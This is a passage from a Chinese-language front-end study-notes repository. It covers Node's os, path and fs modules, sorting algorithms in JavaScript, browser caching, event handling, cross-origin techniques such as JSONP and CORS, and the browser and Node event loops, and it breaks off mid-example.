39 | | nextTick(callback) | 一旦当前事件循环结束，调用回调函数。 |
40 | | uptime() | 返回 Node 已经运行的秒数。 |
41 | 


--------------------------------------------------------------------------------
/Node/Note/工具模块.md:
--------------------------------------------------------------------------------
 1 | # 工具模块
 2 | 
 3 | * [OS模块：提供基本的系统操作函数](#OS模块)
 4 | * [Path模块：提供了处理和转换文件路径的工具](#Path模块)
 5 | * [Net模块：用于底层的网络通信。提供了服务端和客户端的操作](#Net模块)
 6 | * [DNS模块：用于解析域名](#DNS模块)
 7 | * [Domain模块：简化异步代码的异常处理，可以捕捉try catch无法捕捉的](#Domain模块)
 8 | 
 9 | ## OS模块
10 | 
11 | > os 模块提供了一些基本的系统操作函数。
12 | 
13 | 常用方法：
14 | 
15 | | 方法 | 描述 |
16 | | :- | :- |
17 | | os.hostname() | 返回操作系统的主机名 |
18 | | os.type() | 返回操作系统名 |
19 | | os.platform() | 返回操作系统名 |
20 | | os.totalmem() | 返回系统内存总量，单位为字节 |
21 | | os.freemem() | 返回操作系统空闲内存量，单位是字节 |
22 | 
23 | ## Path模块
24 | 
25 | > path 模块提供了一些用于处理文件路径的小工具。
26 | 
27 | 常用方法：
28 | 
29 | | 方法 | 描述 |
30 | | :- | :- |
31 | | path.normalize(p) | 规范化路径，注意'..' 和 '.' |
32 | | path.join([path1][, path2][, ...]) | 用于连接路径。该方法的主要用途在于，会正确使用当前系统的路径分隔符，Unix系统是"/"，Windows系统是"\" |
33 | | path.resolve([from ...], to) | 将 to 参数解析为绝对路径 |
34 | | path.isAbsolute(path) | 判断 path 是否是绝对路径 |
35 | | path.isRelative(path) | 判断 path 是否是相对路径 |
36 | | path.dirname(p) | 返回路径中代表文件夹的部分 |
37 | | path.basename(p) | 返回路径中的最后一部分 |
38 | | path.extname(p) | 返回路径中文件的后缀名 |
39 | 
40 | 常用属性：
41 | 
42 | | 方法 | 描述 |
43 | | :- | :- |
44 | | path.sep | 平台的文件路径分隔符，'\\' 或 '/' |
45 | | path.delimiter | 平台的分隔符，';' or ':' |
46 | 
47 | ## Net模块
48 | 
49 | 略
50 | 
51 | ## DNS模块
52 | 
53 | 略
54 | 
55 | ## Domain模块
56 | 
57 | 略
58 | 


--------------------------------------------------------------------------------
/Node/Note/文件系统.md:
--------------------------------------------------------------------------------
  1 | # 文件系统
  2 | 
  3 | [[文件系统 - 官网]](https://nodejs.org/api/fs.html)
  4 | 
  5 | * [异步和同步](#异步和同步)
  6 | * [打开文件](#打开文件)
  7 | * [获取文件信息](#获取文件信息)
  8 | * [写入文件](#写入文件)
  9 | * [读取文件](#读取文件)
 10 | * [关闭文件](#关闭文件)
 11 | * [截取文件](#截取文件)
 12 | * [删除文件](#删除文件)
 13 | * [创建目录](#创建目录)
 14 | * [读取目录](#读取目录)
 15 | * [删除目录](#删除目录)
 16 | * [文件模块方法参考手册](#文件模块方法参考手册)
 17 | 
 18 | 引入：
 19 | ```js
 20 | var fs = require("fs");
 21 | ```
 22 | 
 23 | ## 异步和同步
 24 | 
 25 | > Node.js 文件系统（fs 模块）模块中的方法均有异步和同步版本。异步的方法函数最后一个参数为回调函数，回调函数的第一个参数包含了错误信息(error)。建议大家使用异步方法，比起同步，异步方法性能更高，速度更快，而且没有阻塞。
 26 | 
 27 | 实例：
 28 | ```js
 29 | var fs = require("fs");
 30 | 
 31 | // 异步读取
 32 | fs.readFile('input.txt', function (err, data) {
 33 |   if (err) {
 34 |     return console.error(err);
 35 |   }
 36 |   console.log("异步读取: " + data.toString());
 37 | });
 38 | 
 39 | // 同步读取
 40 | var data = fs.readFileSync('input.txt');
 41 | console.log("同步读取: " + data.toString());
 42 | 
 43 | console.log("程序执行完毕。");
 44 | ```
 45 | 
 46 | ## 打开文件
 47 | 
 48 | 语法：
 49 | ```js
 50 | fs.open(path, falgs[, mode], callback)
 51 | ```
 52 | 
 53 | 说明：
 54 | - path - 文件的路径。
 55 | - flags - 文件打开的行为。具体值详见下文。
 56 | - mode - 设置文件模式(权限)，文件创建默认权限为 0666(可读，可写)。
 57 | - callback - 回调函数，带有两个参数如：callback(err, fd)。
 58 | 
 59 | falgs参数：
 60 | 
 61 | | Flag | 描述 |
 62 | | - | :- |
 63 | | r | 以读取模式打开文件。如果文件不存在抛出异常。 |
 64 | | r+ | 以读写模式打开文件。如果文件不存在抛出异常。 |
 65 | | rs | 以同步的方式读取文件。 |
 66 | | rs+ | 以同步的方式读取和写入文件。 |
 67 | | w | 以写入模式打开文件，如果文件不存在则创建。 |
 68 | | wx | 类似 'w'，但是如果文件路径存在，则文件写入失败。 |
 69 | | w+ | 以读写模式打开文件，如果文件不存在则创建。 |
 70 | | wx+ | 类似 'w+'， 但是如果文件路径存在，则文件读写失败。 |
 71 | | a | 以追加模式打开文件，如果文件不存在则创建。 |
 72 | | ax | 类似 'a'， 但是如果文件路径存在，则文件追加失败。 |
 73 | | a+ | 以读取追加模式打开文件，如果文件不存在则创建。 |
 74 | | ax+ | 类似 'a+'， 但是如果文件路径存在，则文件读取追加失败。 |
 75 | 
 76 | 实例：
 77 | ```js
 78 | var fs = require("fs");
 79 | 
 80 | // 异步打开文件
 81 | console.log("准备打开文件！");
 82 | fs.open('input.txt', 'r+', function(err, fd) {
 83 |   if (err) {
 84 |     return console.error(err);
 85 |   }
 86 |   console.log("文件打开成功！");     
 87 | });
 88 | ```
 89 | 
 90 | ## 获取文件信息
 91 | 
 92 | 语法：
 93 | ```js
 94 | fs.stat(path, callback)
 95 | ```
 96 | 
 97 | 说明：
 98 | - path - 文件路径。
 99 | - callback - 回调函数，带有两个参数如：(err, stats), stats 是 fs.Stats 对象。
100 | 
101 | stats类中的方法：
102 | 
103 | | 方法 | 描述 |
104 | | - | :- |
105 | | stats.isFile() | 如果是文件返回 true，否则返回 false。 |
106 | | stats.isDirectory() | 如果是目录返回 true，否则返回 false。 |
107 | 
108 | ## 写入文件
109 | 
110 | 语法(异步模式)：
111 | ```js
112 | fs.writeFile(file, data[, options], callback)
113 | ```
114 | **注意：** writeFile 直接打开文件默认是 w 模式，所以如果文件存在，该方法写入的内容会覆盖旧的文件内容。
115 | 
116 | 说明：
117 | - file - 文件名或文件描述符。
118 | - data - 要写入文件的数据，可以是 String(字符串) 或 Buffer(缓冲) 对象。
119 | - options - 该参数是一个对象，包含 {encoding, mode, flag}。默认编码为 utf8, 模式为 0666 ， flag 为 'w'。
120 | - callback - 回调函数，回调函数只包含错误信息参数(err)，在写入失败时返回。
121 | 
122 | ## 读取文件
123 | 
124 | 语法(异步模式)：
125 | ```js
126 | fs.read(fd, buffer, offset, length, position, callback)
127 | ```
128 | 
129 | 说明：
130 | - fd - 通过 fs.open() 方法返回的文件描述符。
131 | - buffer - 数据写入的缓冲区。
132 | - offset - 缓冲区写入的写入偏移量。
133 | - length - 要从文件中读取的字节数。
134 | - position - 文件读取的起始位置，如果 position 的值为 null，则会从当前文件指针的位置读取。
135 | - callback - 回调函数，有三个参数err, bytesRead, buffer，err 为错误信息， bytesRead 表示读取的字节数，- - - buffer 为缓冲区对象。
136 | 
137 | ## 关闭文件
138 | 
139 | 语法(异步模式)：
140 | ```js
141 | fs.close(fd, callback)
142 | ```
143 | 
144 | 说明：
145 | - fd - 通过 fs.open() 方法返回的文件描述符。
146 | - callback - 回调函数，没有参数。
147 | 
148 | ## 截取文件
149 | 
150 | 语法：
151 | ```js
152 | fs.ftruncate(fd, len, callback)
153 | ```
154 | 
155 | 说明：
156 | - fd - 通过 fs.open() 方法返回的文件描述符。
157 | - len - 文件内容截取的长度。
158 | - callback - 回调函数，没有参数。
159 | 
160 | ## 删除文件
161 | 
162 | 语法：
163 | ```js
164 | fs.unlink(path, callback)
165 | ```
166 | 
167 | 说明：
168 | - path - 文件路径。
169 | - callback - 回调函数，没有参数。
170 | 
171 | ## 创建目录
172 | 
173 | 语法：
174 | ```js
175 | fs.mkdir(path[, mode], callback)
176 | ```
177 | 
178 | 
179 | 说明：
180 | - path - 文件路径。
181 | - mode - 设置目录权限，默认为 0777。
182 | - callback - 回调函数，没有参数。
183 | 
184 | ## 读取目录
185 | 
186 | 语法：
187 | ```js
188 | fs.readdir(path, callback)
189 | ```
190 | 
191 | 说明：
192 | - path - 文件路径。
193 | - callback - 回调函数，回调函数带有两个参数err, files，err 为错误信息，files 为 目录下的文件数组列表。
194 | 
195 | ## 删除目录
196 | 
197 | 语法：
198 | ```js
199 | fs.rmdir(path, callback)
200 | ```
201 | 
202 | 说明：
203 | - path - 文件路径。
204 | - callback - 回调函数，没有参数。
205 | 
206 | ## 部分文件模块方法
207 | 
208 | | 方法 | 描述 |
209 | | :- | :- |
210 | | fs.rename(oldPath, newPath, callback) | 文件重命名 |
211 | | fs.existsSync(path) | 判断文件是否存在 |
212 | | fs.appendFile(filename, data[, options], callback) | 异步追加文件内容 |
213 | | fs.watchFile(filename[, options], listener) | 查看文件的修改 |
214 | 


--------------------------------------------------------------------------------
/Node/README.md:
--------------------------------------------------------------------------------
 1 | # Node 相关笔记
 2 | 
 3 | ## Node 笔记
 4 | 
 5 | * [全局对象](./Note/全局对象.md)
 6 | * [工具模块](./Note/工具模块.md)
 7 | * [文件系统](./Note/文件系统.md)
 8 | 
 9 | 
10 | 
11 | ## Node 框架及模板
12 | 
13 | >+ [Express 官网笔记整理](./Express.md)
14 | >+ [Handlebars 常用语法](./Handlebars.md)
15 | 


--------------------------------------------------------------------------------
/Other/Algorithm/Image/Bubble.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Other/Algorithm/Image/Bubble.gif


--------------------------------------------------------------------------------
/Other/Algorithm/Image/Insertion.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Other/Algorithm/Image/Insertion.gif


--------------------------------------------------------------------------------
/Other/Algorithm/Image/Quick.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Other/Algorithm/Image/Quick.gif


--------------------------------------------------------------------------------
/Other/Algorithm/Image/Selection.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Other/Algorithm/Image/Selection.gif


--------------------------------------------------------------------------------
/Other/Algorithm/README.md:
--------------------------------------------------------------------------------
  1 | # 常用排序算法
  2 | 
  3 | [原文地址](https://www.cnblogs.com/onepixel/p/7674659.html)
  4 | 
  5 |   - [1、冒泡排序（Bubble Sort）](#1%E5%86%92%E6%B3%A1%E6%8E%92%E5%BA%8Fbubble-sort)
  6 |   - [2、选择排序（Selection Sort）](#2%E9%80%89%E6%8B%A9%E6%8E%92%E5%BA%8Fselection-sort)
  7 |   - [3、插入排序（Insertion Sort）](#3%E6%8F%92%E5%85%A5%E6%8E%92%E5%BA%8Finsertion-sort)
  8 | 
  9 | ## 1、冒泡排序（Bubble Sort）
 10 | 
 11 | 冒泡排序是一种简单的排序算法。它重复地走访过要排序的数列，一次比较两个元素，如果它们的顺序错误就把它们交换过来。走访数列的工作是重复地进行直到没有再需要交换，也就是说该数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。 
 12 | 
 13 | ### 1.1 算法描述
 14 | 
 15 |     比较相邻的元素。如果第一个比第二个大，就交换它们两个；
 16 |     对每一对相邻元素作同样的工作，从开始第一对到结尾的最后一对，这样在最后的元素应该会是最大的数；
 17 |     针对所有的元素重复以上的步骤，除了最后一个；
 18 |     重复步骤1~3，直到排序完成。
 19 | 
 20 | ### 1.2 动图演示
 21 | 
 22 | ![冒泡排序](./Image/Bubble.gif)
 23 | 
 24 | ### 1.3 代码实现
 25 | 
 26 | ```js
 27 | function bubbleSort(arr) {
 28 |     var len = arr.length;
 29 |     for (var i = 0; i < len; i++) {
 30 |         for (var j = 0; j < len - 1 - i; j++) {
 31 |             if (arr[j] > arr[j+1]) {        //相邻元素两两对比
 32 |                 var temp = arr[j+1];        //元素交换
 33 |                 arr[j+1] = arr[j];
 34 |                 arr[j] = temp;
 35 |             }
 36 |         }
 37 |     }
 38 |     return arr;
 39 | }
 40 | ```
 41 | 
 42 | ## 2、选择排序（Selection Sort）
 43 | 
 44 | 选择排序(Selection-sort)是一种简单直观的排序算法。它的工作原理：首先在未排序序列中找到最小（大）元素，存放到排序序列的起始位置，然后，再从剩余未排序元素中继续寻找最小（大）元素，然后放到已排序序列的末尾。以此类推，直到所有元素均排序完毕。 
 45 | 
 46 | ### 2.1 算法描述
 47 | n个记录的直接选择排序可经过n-1趟直接选择排序得到有序结果。具体算法描述如下：
 48 | 
 49 |     初始状态：无序区为R[1..n]，有序区为空；
 50 |     第i趟排序(i=1,2,3…n-1)开始时，当前有序区和无序区分别为R[1..i-1]和R(i..n）。该趟排序从当前无序区中-选出关键字最小的记录 R[k]，将它与无序区的第1个记录R交换，使R[1..i]和R[i+1..n)分别变为记录个数增加1个的新有序区和记录个数减少1个的新无序区；
 51 |     n-1趟结束，数组有序化了。
 52 | 
 53 | ### 2.2 动图演示
 54 | 
 55 | ![选择排序](./Image/Selection.gif)
 56 | 
 57 | ### 2.3 代码实现
 58 | 
 59 | ```js
 60 | function selectionSort(arr) {
 61 |     var len = arr.length;
 62 |     var minIndex, temp;
 63 |     for (var i = 0; i < len - 1; i++) {
 64 |         minIndex = i;
 65 |         for (var j = i + 1; j < len; j++) {
 66 |             if (arr[j] < arr[minIndex]) {     //寻找最小的数
 67 |                 minIndex = j;                 //将最小数的索引保存
 68 |             }
 69 |         }
 70 |         temp = arr[i];
 71 |         arr[i] = arr[minIndex];
 72 |         arr[minIndex] = temp;
 73 |     }
 74 |     return arr;
 75 | }
 76 | ```
 77 | 
 78 | ## 3、插入排序（Insertion Sort）
 79 | 
 80 | 插入排序（Insertion-Sort）的算法描述是一种简单直观的排序算法。它的工作原理是通过构建有序序列，对于未排序数据，在已排序序列中从后向前扫描，找到相应位置并插入。
 81 | 
 82 | ## 3.1 算法描述
 83 | 一般来说，插入排序都采用in-place在数组上实现。具体算法描述如下：
 84 | 
 85 |     从第一个元素开始，该元素可以认为已经被排序；
 86 |     取出下一个元素，在已经排序的元素序列中从后向前扫描；
 87 |     如果该元素（已排序）大于新元素，将该元素移到下一位置；
 88 |     重复步骤3，直到找到已排序的元素小于或者等于新元素的位置；
 89 |     将新元素插入到该位置后；
 90 |     重复步骤2~5。
 91 | 
 92 | ## 3.2 动图演示
 93 | 
 94 | ![插入排序](./Image/Insertion.gif)
 95 | 
 96 | ### 3.3 代码实现
 97 | 
 98 | ```js
 99 | function insertionSort(arr) {
100 |     var len = arr.length;
101 |     var preIndex, current;
102 |     for (var i = 1; i < len; i++) {
103 |         preIndex = i - 1;
104 |         current = arr[i];
105 |         while(preIndex >= 0 && arr[preIndex] > current) {
106 |             arr[preIndex+1] = arr[preIndex];
107 |             preIndex--;
108 |         }
109 |         arr[preIndex+1] = current;
110 |     }
111 |     return arr;
112 | }
113 | ```
114 | 


--------------------------------------------------------------------------------
/Other/Browser/Cache.md:
--------------------------------------------------------------------------------
 1 | # 浏览器缓存
 2 | 
 3 | [浏览器缓存知识小结及应用](https://www.cnblogs.com/lyzg/p/5125934.html)  
 4 | [变态的静态资源缓存与更新](https://blog.csdn.net/zhangjs712/article/details/51166748)  
 5 | 
 6 | ## 浏览器缓存分为强缓存和协商缓存。
 7 | 
 8 | 浏览器缓存分为强缓存和协商缓存。
 9 | 
10 | - 先根据这个资源的一些 http header 判断它是否命中强缓存，如果命中，则直接从本地获取缓存资源，不会发请求到服务器；
11 | - 当强缓存没有命中时，客户端会发送请求到服务器，服务器通过另一些request header验证这个资源是否命中协商缓存，称为http再验证，如果命中，服务器将请求返回，但不返回资源，而是告诉客户端直接从缓存中获取，客户端收到返回后就会从缓存中获取资源；
12 | - 强缓存和协商缓存共同之处在于，如果命中缓存，服务器都不会返回资源；
13 | - 区别是，强缓存不对发送请求到服务器，但协商缓存会。
14 | - 当协商缓存也没命中时，服务器就会将资源发送回客户端。
15 | - 当 ctrl+f5 强制刷新网页时，直接从服务器加载，跳过强缓存和协商缓存；
16 | - 当 f5 刷新网页时，跳过强缓存，但是会检查协商缓存；
17 | 
18 | ## 强缓存
19 | 
20 | - Expires（该字段是 http1.0 时的规范，值为一个绝对时间的 GMT 格式的时间字符串，代表缓存资源的过期时间）
21 | - Cache-Control:max-age（该字段是 http1.1 的规范，强缓存利用其 max-age 值来判断缓存资源的最大生命周期，它的值单位为秒）
22 | 
23 | ## 协商缓存
24 | 
25 | - Last-Modified（值为资源最后更新时间，随服务器response返回）
26 | - If-Modified-Since（通过比较两个时间来判断资源在两次请求期间是否有过修改，如果没有修改，则命中协商缓存）
27 | - ETag（表示资源内容的唯一标识，随服务器response返回）
28 | - If-None-Match（服务器通过比较请求头部的If-None-Match与当前资源的ETag是否一致来判断资源是否在两次请求之间有过修改，如果没有修改，则命中协商缓存）
29 | 


--------------------------------------------------------------------------------
/Other/Browser/Engine.md:
--------------------------------------------------------------------------------
1 | # 浏览器渲染引擎/浏览器内核（Rendering Engine）
2 | 
3 | - Trident：IE，国内大多数浏览器
4 | - Gecko： Firefox
5 | - Webkit：Safari内核，Chrome内核原型
6 | - Blink：Google和Opera开发的浏览器排版引擎
7 | 


--------------------------------------------------------------------------------
/Other/Browser/README.md:
--------------------------------------------------------------------------------
  1 | <!-- START doctoc generated TOC please keep comment here to allow auto update -->
  2 | <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
  3 | **Table of Contents**  *generated with [DocToc](https://github.com/thlorenz/doctoc)*
  4 | 
  5 | - [事件机制](#%E4%BA%8B%E4%BB%B6%E6%9C%BA%E5%88%B6)
  6 |   - [事件触发三阶段](#%E4%BA%8B%E4%BB%B6%E8%A7%A6%E5%8F%91%E4%B8%89%E9%98%B6%E6%AE%B5)
  7 |   - [注册事件](#%E6%B3%A8%E5%86%8C%E4%BA%8B%E4%BB%B6)
  8 |   - [事件代理](#%E4%BA%8B%E4%BB%B6%E4%BB%A3%E7%90%86)
  9 | - [跨域](#%E8%B7%A8%E5%9F%9F)
 10 |   - [JSONP](#jsonp)
 11 |   - [CORS](#cors)
 12 |   - [document.domain](#documentdomain)
 13 |   - [postMessage](#postmessage)
 14 | - [Event loop](#event-loop)
 15 |   - [Node 中的 Event loop](#node-%E4%B8%AD%E7%9A%84-event-loop)
 16 |     - [timer](#timer)
 17 |     - [I/O](#io)
 18 |     - [idle, prepare](#idle-prepare)
 19 |     - [poll](#poll)
 20 |     - [check](#check)
 21 |     - [close callbacks](#close-callbacks)
 22 | - [存储](#%E5%AD%98%E5%82%A8)
 23 |   - [cookie，localStorage，sessionStorage，indexDB](#cookielocalstoragesessionstorageindexdb)
 24 |   - [Service Worker](#service-worker)
 25 | - [渲染机制](#%E6%B8%B2%E6%9F%93%E6%9C%BA%E5%88%B6)
 26 |   - [Load 和 DOMContentLoaded 区别](#load-%E5%92%8C-domcontentloaded-%E5%8C%BA%E5%88%AB)
 27 |   - [图层](#%E5%9B%BE%E5%B1%82)
 28 |   - [重绘（Repaint）和回流（Reflow）](#%E9%87%8D%E7%BB%98repaint%E5%92%8C%E5%9B%9E%E6%B5%81reflow)
 29 |   - [减少重绘和回流](#%E5%87%8F%E5%B0%91%E9%87%8D%E7%BB%98%E5%92%8C%E5%9B%9E%E6%B5%81)
 30 | 
 31 | <!-- END doctoc generated TOC please keep comment here to allow auto update -->
 32 | 
 33 | # 事件机制
 34 | 
 35 | ## 事件触发三阶段
 36 | 
 37 | 事件触发有三个阶段
 38 | 
 39 | - `window` 往事件触发处传播，遇到注册的捕获事件会触发
 40 | - 传播到事件触发处时触发注册的事件
 41 | - 从事件触发处往 `window` 传播，遇到注册的冒泡事件会触发
 42 | 
 43 | 事件触发一般来说会按照上面的顺序进行，但是也有特例，如果给一个目标节点同时注册冒泡和捕获事件，事件触发会按照注册的顺序执行。
 44 | 
 45 | ```js
 46 | // 以下会先打印冒泡然后是捕获
 47 | node.addEventListener('click',(event) =>{
 48 | 	console.log('冒泡')
 49 | },false);
 50 | node.addEventListener('click',(event) =>{
 51 | 	console.log('捕获 ')
 52 | },true)
 53 | ```
 54 | 
 55 | ## 注册事件
 56 | 
 57 | 通常我们使用 `addEventListener` 注册事件，该函数的第三个参数可以是布尔值，也可以是对象。对于布尔值 `useCapture` 参数来说，该参数默认值为 `false` 。`useCapture` 决定了注册的事件是捕获事件还是冒泡事件。对于对象参数来说，可以使用以下几个属性
 58 | 
 59 | - `capture`，布尔值，和 `useCapture` 作用一样
 60 | - `once`，布尔值，值为 `true` 表示该回调只会调用一次，调用后会移除监听
 61 | - `passive`，布尔值，表示永远不会调用 `preventDefault` 
 62 | 
 63 | 一般来说，我们只希望事件只触发在目标上，这时候可以使用 `stopPropagation` 来阻止事件的进一步传播。通常我们认为 `stopPropagation` 是用来阻止事件冒泡的，其实该函数也可以阻止捕获事件。`stopImmediatePropagation` 同样也能实现阻止事件，但是还能阻止该事件目标执行别的注册事件。
 64 | 
 65 | ```js
 66 | node.addEventListener('click',(event) =>{
 67 | 	event.stopImmediatePropagation()
 68 | 	console.log('冒泡')
 69 | },false);
 70 | // 点击 node 只会执行上面的函数，该函数不会执行
 71 | node.addEventListener('click',(event) => {
 72 | 	console.log('捕获 ')
 73 | },true)
 74 | ```
 75 | 
 76 | ## 事件代理
 77 | 
 78 | 如果一个节点中的子节点是动态生成的，那么子节点需要注册事件的话应该注册在父节点上
 79 | 
 80 | ```html
 81 | <ul id="ul">
 82 | 	<li>1</li>
 83 |     <li>2</li>
 84 | 	<li>3</li>
 85 | 	<li>4</li>
 86 | 	<li>5</li>
 87 | </ul>
 88 | <script>
 89 | 	let ul = document.querySelector('#ul')
 90 | 	ul.addEventListener('click', (event) => {
 91 | 		console.log(event.target);
 92 | 	})
 93 | </script>
 94 | ```
 95 | 
 96 | 事件代理的方式相对于直接给目标注册事件来说，有以下优点
 97 | 
 98 | - 节省内存
 99 | - 不需要给子节点注销事件
100 | 
101 | # 跨域
102 | 
103 | 因为浏览器出于安全考虑，有同源策略。也就是说，如果协议、域名或者端口有一个不同就是跨域，Ajax 请求会失败。
104 | 
105 | 我们可以通过以下几种常用方法解决跨域的问题
106 | 
107 | ## JSONP
108 | 
109 | JSONP 的原理很简单，就是利用 `<script>` 标签没有跨域限制的漏洞。通过 `<script>` 标签指向一个需要访问的地址并提供一个回调函数来接收数据当需要通讯时。
110 | 
111 | ```js
112 | <script src="http://domain/api?param1=a&param2=b&callback=jsonp"></script>
113 | <script>
114 |     function jsonp(data) {
115 |     	console.log(data)
116 | 	}
117 | </script>    
118 | ```
119 | 
120 | JSONP 使用简单且兼容性不错，但是只限于 `get` 请求。
121 | 
122 | 在开发中可能会遇到多个 JSONP 请求的回调函数名是相同的，这时候就需要自己封装一个 JSONP，以下是简单实现
123 | 
124 | ```js
125 | function jsonp(url, jsonpCallback, success) {
126 |   let script = document.createElement("script");
127 |   script.src = url;
128 |   script.async = true;
129 |   script.type = "text/javascript";
130 |   window[jsonpCallback] = function(data) {
131 |     success && success(data);
132 |   };
133 |   document.body.appendChild(script);
134 | }
135 | jsonp(
136 |   "http://xxx",
137 |   "callback",
138 |   function(value) {
139 |     console.log(value);
140 |   }
141 | );
142 | ```
143 | 
144 | ## CORS
145 | 
146 | CORS需要浏览器和后端同时支持。IE 8 和 9 需要通过 `XDomainRequest` 来实现。
147 | 
148 | 浏览器会自动进行 CORS 通信，实现CORS通信的关键是后端。只要后端实现了 CORS，就实现了跨域。
149 | 
150 | 服务端设置 `Access-Control-Allow-Origin` 就可以开启 CORS。 该属性表示哪些域名可以访问资源，如果设置通配符则表示所有网站都可以访问资源。
151 | 
152 | ## document.domain 
153 | 
154 | 该方式只能用于二级域名相同的情况下，比如 `a.test.com` 和 `b.test.com` 适用于该方式。
155 | 
156 | 只需要给页面添加 `document.domain = 'test.com'` 表示二级域名都相同就可以实现跨域
157 | 
158 | ## postMessage
159 | 
160 | 这种方式通常用于获取嵌入页面中的第三方页面数据。一个页面发送消息，另一个页面判断来源并接收消息
161 | 
162 | ```js
163 | // 发送消息端
164 | window.parent.postMessage('message', 'http://test.com');
165 | // 接收消息端
166 | var mc = new MessageChannel();
167 | mc.addEventListener('message', (event) => {
168 |     var origin = event.origin || event.originalEvent.origin; 
169 |     if (origin === 'http://test.com') {
170 |         console.log('验证通过')
171 |     }
172 | });
173 | ```
174 | 
175 | # Event loop
176 | 
177 | 众所周知 JS 是门非阻塞单线程语言，因为在最初 JS 就是为了和浏览器交互而诞生的。如果 JS 是门多线程的语言话，我们在多个线程中处理 DOM 就可能会发生问题（一个线程中新加节点，另一个线程中删除节点），当然可以引入读写锁解决这个问题。
178 | 
179 | JS 在执行的过程中会产生执行环境，这些执行环境会被顺序的加入到执行栈中。如果遇到异步的代码，会被挂起并加入到 Task（有多种 task） 队列中。一旦执行栈为空，Event Loop 就会从 Task 队列中拿出需要执行的代码并放入执行栈中执行，所以本质上来说 JS 中的异步还是同步行为。
180 | 
181 | ```js
182 | console.log('script start');
183 | 
184 | setTimeout(function() {
185 |   console.log('setTimeout');
186 | }, 0);
187 | 
188 | console.log('script end');
189 | ```
190 | 
191 | 以上代码虽然 `setTimeout` 延时为 0，其实还是异步。这是因为 HTML5 标准规定这个函数第二个参数不得小于 4 毫秒，不足会自动增加。所以 `setTimeout` 还是会在 `script end` 之后打印。
192 | 
193 | 不同的任务源会被分配到不同的 Task 队列中，任务源可以分为 微任务（microtask） 和 宏任务（macrotask）。在 ES6 规范中，microtask 称为 `jobs`，macrotask 称为 `task`。
194 | 
195 | ```js
196 | console.log('script start');
197 | 
198 | setTimeout(function() {
199 |   console.log('setTimeout');
200 | }, 0);
201 | 
202 | new Promise((resolve) => {
203 |     console.log('Promise')
204 |     resolve()
205 | }).then(function() {
206 |   console.log('promise1');
207 | }).then(function() {
208 |   console.log('promise2');
209 | });
210 | 
211 | console.log('script end');
212 | // script start => Promise => script end => promise1 => promise2 => setTimeout
213 | ```
214 | 
215 | 以上代码虽然 `setTimeout` 写在 `Promise` 之前，但是因为 `Promise` 属于微任务而 `setTimeout` 属于宏任务，所以会有以上的打印。
216 | 
217 | 微任务包括 `process.nextTick` ，`promise` ，`Object.observe` ，`MutationObserver`
218 | 
219 | 宏任务包括 `script` ， `setTimeout` ，`setInterval` ，`setImmediate` ，`I/O` ，`UI rendering`
220 | 
221 | 很多人有个误区，认为微任务快于宏任务，其实是错误的。因为宏任务中包括了 `script` ，浏览器会先执行一个宏任务，接下来有异步代码的话就先执行微任务。
222 | 
223 | 所以正确的一次 Event loop 顺序是这样的
224 | 
225 | 1. 执行同步代码，这属于宏任务
226 | 2. 执行栈为空，查询是否有微任务需要执行
227 | 3. 执行所有微任务
228 | 4. 必要的话渲染 UI
229 | 5. 然后开始下一轮 Event loop，执行宏任务中的异步代码
230 | 
231 | 通过上述的  Event loop 顺序可知，如果宏任务中的异步代码有大量的计算并且需要操作 DOM 的话，为了更快的 界面响应，我们可以把操作 DOM 放入微任务中。
232 | 
233 | ## Node 中的 Event loop
234 | 
235 | Node 中的 Event loop 和浏览器中的不相同。
236 | 
237 | Node 的 Event loop 分为6个阶段，它们会按照顺序反复运行
238 | 
239 | ```
240 | ┌───────────────────────┐
241 | ┌─>│        timers         │
242 | │  └──────────┬────────────┘
243 | │  ┌──────────┴────────────┐
244 | │  │     I/O callbacks     │
245 | │  └──────────┬────────────┘
246 | │  ┌──────────┴────────────┐
247 | │  │     idle, prepare     │
248 | │  └──────────┬────────────┘      ┌───────────────┐
249 | │  ┌──────────┴────────────┐      │   incoming:   │
250 | │  │         poll          │<──connections───     │
251 | │  └──────────┬────────────┘      │   data, etc.  │
252 | │  ┌──────────┴────────────┐      └───────────────┘
253 | │  │        check          │
254 | │  └──────────┬────────────┘
255 | │  ┌──────────┴────────────┐
256 | └──┤    close callbacks    │
257 |    └───────────────────────┘
258 | ```
259 | 
260 | ### timer
261 | 
262 | timers 阶段会执行 `setTimeout` 和 `setInterval`
263 | 
264 | 一个 `timer` 指定的时间并不是准确时间，而是在达到这个时间后尽快执行回调，可能会因为系统正在执行别的事务而延迟。
265 | 
266 | 下限的时间有一个范围：`[1, 2147483647]` ，如果设定的时间不在这个范围，将被设置为1。
267 | 
268 | ### I/O 
269 | 
270 | I/O 阶段会执行除了 close 事件，定时器和 `setImmediate` 的回调
271 | 
272 | ### idle, prepare 
273 | 
274 | idle, prepare 阶段内部实现
275 | 
276 | ### poll 
277 | 
278 | poll 阶段很重要，这一阶段中，系统会做两件事情
279 | 
280 | 1. 执行到点的定时器
281 | 2. 执行 poll 队列中的事件
282 | 
283 | 并且当 poll 中没有定时器的情况下，会发现以下两件事情
284 | 
285 | - 如果 poll 队列不为空，会遍历回调队列并同步执行，直到队列为空或者系统限制
286 | - 如果 poll 队列为空，会有两件事发生
287 |   - 如果有 `setImmediate` 需要执行，poll 阶段会停止并且进入到 check 阶段执行 `setImmediate`
288 |   - 如果没有 `setImmediate` 需要执行，会等待回调被加入到队列中并立即执行回调
289 | 
290 | 如果有别的定时器需要被执行，会回到 timer 阶段执行回调。
291 | 
292 | ### check
293 | 
294 | check 阶段执行 `setImmediate` 
295 | 
296 | ### close callbacks
297 | 
298 | close callbacks 阶段执行 close 事件
299 | 
300 | 并且在 Node 中，有些情况下的定时器执行顺序是随机的
301 | 
302 | ```js
303 | setTimeout(() => {
304 |     console.log('setTimeout');
305 | }, 0);
306 | setImmediate(() => {
307 |     console.log('setImmediate');
308 | })
309 | // 这里可能会输出 setTimeout，setImmediate
